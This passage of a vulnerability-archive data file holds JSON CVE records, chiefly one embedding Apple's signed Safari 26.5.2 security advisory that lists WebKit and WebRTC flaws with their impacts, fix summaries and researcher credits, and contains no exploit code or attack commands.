          "https://seclists.org/fulldisclosure/2026/Jul/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OpenBlow Multiple Deanonymization Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0099",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/15",
            "automated": true,
            "contentSha256": "744175a5c223244ab1e223a2db5ad49da8d33cfee9f3f874cb3d0ccc5f637505",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-21T10:16:53Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T11:35:28Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0099"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Safari",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-06-29-2026-3 Safari 26.5.2\n\nSafari 26.5.2 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127685.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nWeb Extensions\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious web extension may be able to cause an unexpected\nprocess crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314642\nCVE-2026-43704: dr3dd\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A cross-origin issue was addressed with improved tracking\nof security origins.\nWebKit Bugzilla: 315368\nCVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 313357\nCVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John\nLussier, Rhyru9, Kwak Kiyong, Song Nuri\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313693\nCVE-2026-43734: Jonathan Alush-Aben\nWebKit Bugzilla: 313857\nCVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)\nfrom Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh\n(@_3P1C)\nWebKit Bugzilla: 314398\nCVE-2026-43709\nWebKit Bugzilla: 317227\nCVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)\nWebKit Bugzilla: 315161\nCVE-2026-43742: \u042e\u043b\u0438\u044f \u041c\u0435\u0440\u0446\u0430\u043b\u043e\u0432\u0430\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A path handling issue was addressed with improved\nvalidation.\nWebKit Bugzilla: 313085\nCVE-2026-43732: Nan Wang (@eternalsakura13)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314115\nCVE-2026-43731: dr3dd\nWebKit Bugzilla: 313577\nCVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313691\nCVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia\nBui (@yabeow) from Calif.io, Gurpreet Shergill\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 312832\nCVE-2026-43725: Luke Francis\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 312781\nCVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota\nToda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE\nResearch Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from\nTalence Security, Brian Carpenter\nWebKit Bugzilla: 313528\nCVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)\nWebKit Bugzilla: 314235\nCVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)\nfrom Talence Security\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 313473\nCVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy\nBurnett, Evan Lambert\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317231\nCVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from\nBraze Security Team (@thedawgyg)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308046\nCVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Visiting a website may leak sensitive data\nDescription: A permissions issue was addressed with additional\nrestrictions.\nWebKit Bugzilla: 314806\nCVE-2026-43713: Jody Ritonga\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 315306\nCVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A memory corruption issue was addressed with improved\nmemory handling.\nWebKit Bugzilla: 315951\nCVE-2026-43707: OpenAI Codex Security - Amy Burnett\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A type confusion issue was addressed with improved checks.\nWebKit Bugzilla: 314528\nCVE-2026-43705: dr3dd\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 315004\nCVE-2026-43701: Aaron Grattafiori - NVIDIA AI Red Team\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nWebKit Bugzilla: 315365\nCVE-2026-43745: OpenAI Codex Security - Amy Burnett, Khai Tran\n\nWebKit Canvas\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313175\nCVE-2026-43720: Gia Bui (@yabeow) from Calif.io, Josef Korbel\n\nWebKit Storage\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to silently hijack clipboard\ndata\nDescription: This issue was addressed through improved state management.\nWebKit Bugzilla: 313478\nCVE-2026-43721: Idan Masas\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317324\nCVE-2026-28979\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A stack overflow was addressed with improved input\nvalidation.\nWebKit Bugzilla: 313350\nCVE-2026-43718: Nan Wang (@eternalsakura13)\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313351\nCVE-2026-43717: Nan Wang (@eternalsakura13)\nWebKit Bugzilla: 314090\nCVE-2026-43746: dr3dd\n\nAdditional recognition\n\nWebKit\nWe would like to acknowledge Henock Habte, Souta Sugiyama for their\nassistance.\n\nWebKit JavaScript Bindings\nWe would like to acknowledge Karan Kurani for their assistance.\n\nSafari 26.5.2 may be obtained from the Mac App Store.\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmpCz6IACgkQ4Ifiq8DH\n7PVuEBAAgcVWMM1MLaIJIdRkv+s4HphbLBQ6a0ajL8v4lIUFNsGMdReRdFtWhnp9\nBkPUePTO9huD9JzOMVAzHqRE0BXMhpwverWJKqd3iMddo7iVxo3KxQy4IyN9pVuq\n3h1TajRzGs9MLNcOXP9acK4Oj5yiJlqOaXrPOmw7jXNNqnAPVLMSQqX7tZG1ellh\n4eeUJAOGHx8lTL1LKyy6W027LVzozBeGTe0b2m6wJyNrDd3JpiNotcNSOh75dWkC\nqGn5wmtC0OXiwQWAmoiZRbTtjaUGZ5VwU4L0BbvZCqVXmwauntAuu30hRsMvu+jM\ndnQWELA0KfMIdOpVcbijsA2hEUBuXwCu9o1sGBcMxYPXTgpJln7kOhZpMide90a/\n4qFHHfHUpJCA0CLtqdRI3yv+6gPbtYGnqytOLgqcU1hDn5nyRlsIr6sWYS7VCpOt\npXVWrgkalZSKWnBKwONomcElX7FqUfbdT6+CrRrlH5aw0f9jzPpf3PRmlbjF9Wdu\nooB7V4Xs2AxzmoWm+aRstQL5bJoTGut+jXDxKzYkXpdbnS0qAk/by5AYCPxo0e+z\njywZtGaG5Z4bFtGvpU3zwAqajqv6gqDZiG0NfLQxurOjFCrdwl6mQ1VhVh7lyxF4\nXGG0gFPjaH3S2EAMKQ8c7YkST1pEDVPNWfBz62Ywc9Fey+zr0Ow=\n=orbO\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:35:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/13"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127685"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-06-29-2026-3 Safari 26.5.2",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-28979",
              "type": "related"
            },
            {
              "destId": "CVE-2026-39872",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43663",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43676",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43699",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43700",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43701",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43704",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43705",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43707",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43708",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43709",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43712",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43713",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43715",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43716",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43717",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43718",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43720",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43721",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43725",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43726",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43727",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43731",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43732",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43734",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43735",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43740",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43742",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43745",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43746",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0347",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/13",
            "automated": true,
            "contentSha256": "977f1aec75c263dd4ee474ce28b07e455418964247b9a621320fbcea8bc871d3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-29T20:28:28Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0347"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:35:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0347"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}